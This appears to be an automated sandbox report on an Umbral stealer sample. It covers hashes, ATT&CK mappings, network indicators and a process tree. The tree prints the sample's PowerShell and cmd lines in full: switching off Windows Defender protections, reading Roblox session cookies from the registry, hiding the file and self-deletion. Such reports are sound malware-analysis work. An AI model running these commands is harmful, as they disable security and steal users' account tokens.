umbral | bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
03/09/2024, 02:08

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General

Target

bkfaf34.exe
Size

231KB
MD5

447297048bf59e02973e2a92506bcf82
SHA1

2ed1aca8f40418d12f99675157b89e1d2d26ebb0
SHA256

bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc
SHA512

34c14cfb4baeab9bc45445f4167c90d1c362df04ab185a69676088011dfb3f9f78e951ece9986f42fb6ec6d31f22f7dc012d2ccbf8cf02ef0261c8aa698eaf76
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4VDTfGELns8d42X3Wo1b8e1mOi:joZtL+EP8VDTfGELns8d42X3Wk0

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2604-1-0x0000000001260000-0x00000000012A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2932	powershell.exe
2804	powershell.exe
1348	powershell.exe
3032	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bkfaf34.exe

Deletes itself 1 IoCs

pid	Process
2412	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2412	cmd.exe
2180	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2084	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2180	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2604	bkfaf34.exe
2932	powershell.exe
2804	powershell.exe
1348	powershell.exe
2648	powershell.exe
3032	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	bkfaf34.exe
Token: SeIncreaseQuotaPrivilege	2848	wmic.exe
Token: SeSecurityPrivilege	2848	wmic.exe
Token: SeTakeOwnershipPrivilege	2848	wmic.exe
Token: SeLoadDriverPrivilege	2848	wmic.exe
Token: SeSystemProfilePrivilege	2848	wmic.exe
Token: SeSystemtimePrivilege	2848	wmic.exe
Token: SeProfSingleProcessPrivilege	2848	wmic.exe
Token: SeIncBasePriorityPrivilege	2848	wmic.exe
Token: SeCreatePagefilePrivilege	2848	wmic.exe
Token: SeBackupPrivilege	2848	wmic.exe
Token: SeRestorePrivilege	2848	wmic.exe
Token: SeShutdownPrivilege	2848	wmic.exe
Token: SeDebugPrivilege	2848	wmic.exe
Token: SeSystemEnvironmentPrivilege	2848	wmic.exe
Token: SeRemoteShutdownPrivilege	2848	wmic.exe
Token: SeUndockPrivilege	2848	wmic.exe
Token: SeManageVolumePrivilege	2848	wmic.exe
Token: 33	2848	wmic.exe
Token: 34	2848	wmic.exe
Token: 35	2848	wmic.exe
Token: SeIncreaseQuotaPrivilege	2848	wmic.exe
Token: SeSecurityPrivilege	2848	wmic.exe
Token: SeTakeOwnershipPrivilege	2848	wmic.exe
Token: SeLoadDriverPrivilege	2848	wmic.exe
Token: SeSystemProfilePrivilege	2848	wmic.exe
Token: SeSystemtimePrivilege	2848	wmic.exe
Token: SeProfSingleProcessPrivilege	2848	wmic.exe
Token: SeIncBasePriorityPrivilege	2848	wmic.exe
Token: SeCreatePagefilePrivilege	2848	wmic.exe
Token: SeBackupPrivilege	2848	wmic.exe
Token: SeRestorePrivilege	2848	wmic.exe
Token: SeShutdownPrivilege	2848	wmic.exe
Token: SeDebugPrivilege	2848	wmic.exe
Token: SeSystemEnvironmentPrivilege	2848	wmic.exe
Token: SeRemoteShutdownPrivilege	2848	wmic.exe
Token: SeUndockPrivilege	2848	wmic.exe
Token: SeManageVolumePrivilege	2848	wmic.exe
Token: 33	2848	wmic.exe
Token: 34	2848	wmic.exe
Token: 35	2848	wmic.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeIncreaseQuotaPrivilege	572	wmic.exe
Token: SeSecurityPrivilege	572	wmic.exe
Token: SeTakeOwnershipPrivilege	572	wmic.exe
Token: SeLoadDriverPrivilege	572	wmic.exe
Token: SeSystemProfilePrivilege	572	wmic.exe
Token: SeSystemtimePrivilege	572	wmic.exe
Token: SeProfSingleProcessPrivilege	572	wmic.exe
Token: SeIncBasePriorityPrivilege	572	wmic.exe
Token: SeCreatePagefilePrivilege	572	wmic.exe
Token: SeBackupPrivilege	572	wmic.exe
Token: SeRestorePrivilege	572	wmic.exe
Token: SeShutdownPrivilege	572	wmic.exe
Token: SeDebugPrivilege	572	wmic.exe
Token: SeSystemEnvironmentPrivilege	572	wmic.exe
Token: SeRemoteShutdownPrivilege	572	wmic.exe
Token: SeUndockPrivilege	572	wmic.exe
Token: SeManageVolumePrivilege	572	wmic.exe
Token: 33	572	wmic.exe
Token: 34	572	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2848	2604	bkfaf34.exe	30
PID 2604 wrote to memory of 2848	2604	bkfaf34.exe	30
PID 2604 wrote to memory of 2848	2604	bkfaf34.exe	30
PID 2604 wrote to memory of 408	2604	bkfaf34.exe	33
PID 2604 wrote to memory of 408	2604	bkfaf34.exe	33
PID 2604 wrote to memory of 408	2604	bkfaf34.exe	33
PID 2604 wrote to memory of 2932	2604	bkfaf34.exe	35
PID 2604 wrote to memory of 2932	2604	bkfaf34.exe	35
PID 2604 wrote to memory of 2932	2604	bkfaf34.exe	35
PID 2604 wrote to memory of 2804	2604	bkfaf34.exe	37
PID 2604 wrote to memory of 2804	2604	bkfaf34.exe	37
PID 2604 wrote to memory of 2804	2604	bkfaf34.exe	37
PID 2604 wrote to memory of 1348	2604	bkfaf34.exe	39
PID 2604 wrote to memory of 1348	2604	bkfaf34.exe	39
PID 2604 wrote to memory of 1348	2604	bkfaf34.exe	39
PID 2604 wrote to memory of 2648	2604	bkfaf34.exe	41
PID 2604 wrote to memory of 2648	2604	bkfaf34.exe	41
PID 2604 wrote to memory of 2648	2604	bkfaf34.exe	41
PID 2604 wrote to memory of 572	2604	bkfaf34.exe	43
PID 2604 wrote to memory of 572	2604	bkfaf34.exe	43
PID 2604 wrote to memory of 572	2604	bkfaf34.exe	43
PID 2604 wrote to memory of 848	2604	bkfaf34.exe	45
PID 2604 wrote to memory of 848	2604	bkfaf34.exe	45
PID 2604 wrote to memory of 848	2604	bkfaf34.exe	45
PID 2604 wrote to memory of 1724	2604	bkfaf34.exe	47
PID 2604 wrote to memory of 1724	2604	bkfaf34.exe	47
PID 2604 wrote to memory of 1724	2604	bkfaf34.exe	47
PID 2604 wrote to memory of 3032	2604	bkfaf34.exe	49
PID 2604 wrote to memory of 3032	2604	bkfaf34.exe	49
PID 2604 wrote to memory of 3032	2604	bkfaf34.exe	49
PID 2604 wrote to memory of 2084	2604	bkfaf34.exe	51
PID 2604 wrote to memory of 2084	2604	bkfaf34.exe	51
PID 2604 wrote to memory of 2084	2604	bkfaf34.exe	51
PID 2604 wrote to memory of 2412	2604	bkfaf34.exe	53
PID 2604 wrote to memory of 2412	2604	bkfaf34.exe	53
PID 2604 wrote to memory of 2412	2604	bkfaf34.exe	53
PID 2412 wrote to memory of 2180	2412	cmd.exe	55
PID 2412 wrote to memory of 2180	2412	cmd.exe	55
PID 2412 wrote to memory of 2180	2412	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
408	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe
"C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe"
  2⤵
  - Views/modifies file attributes
  PID:408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3032
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2084
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8e102b27d2338217a5be3b6cab153340

SHA1
e1d95644ea312820707c1772c2b5819764cf87ce

SHA256
bca4b910a1779d82711bb76c3e29bb0feb5968331f4a6113b3f000cc9cef8369

SHA512
2ad530944d29876a56973a2f47c619478a6cd029c941c8d4a4310dc2c3673da1460dde5c469e822202f29656b55720b83990009b3354424181d95c3a51b3ebbd

Download Submit
memory/2604-0-0x000007FEF5763000-0x000007FEF5764000-memory.dmp

Filesize
4KB

Download
memory/2604-1-0x0000000001260000-0x00000000012A0000-memory.dmp

Filesize
256KB

Download
memory/2604-2-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

Filesize
9.9MB

Download
memory/2604-48-0x000007FEF5760000-0x000007FEF614C000-memory.dmp

Filesize
9.9MB

Download
memory/2804-14-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2804-15-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2932-7-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2932-8-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/3032-44-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download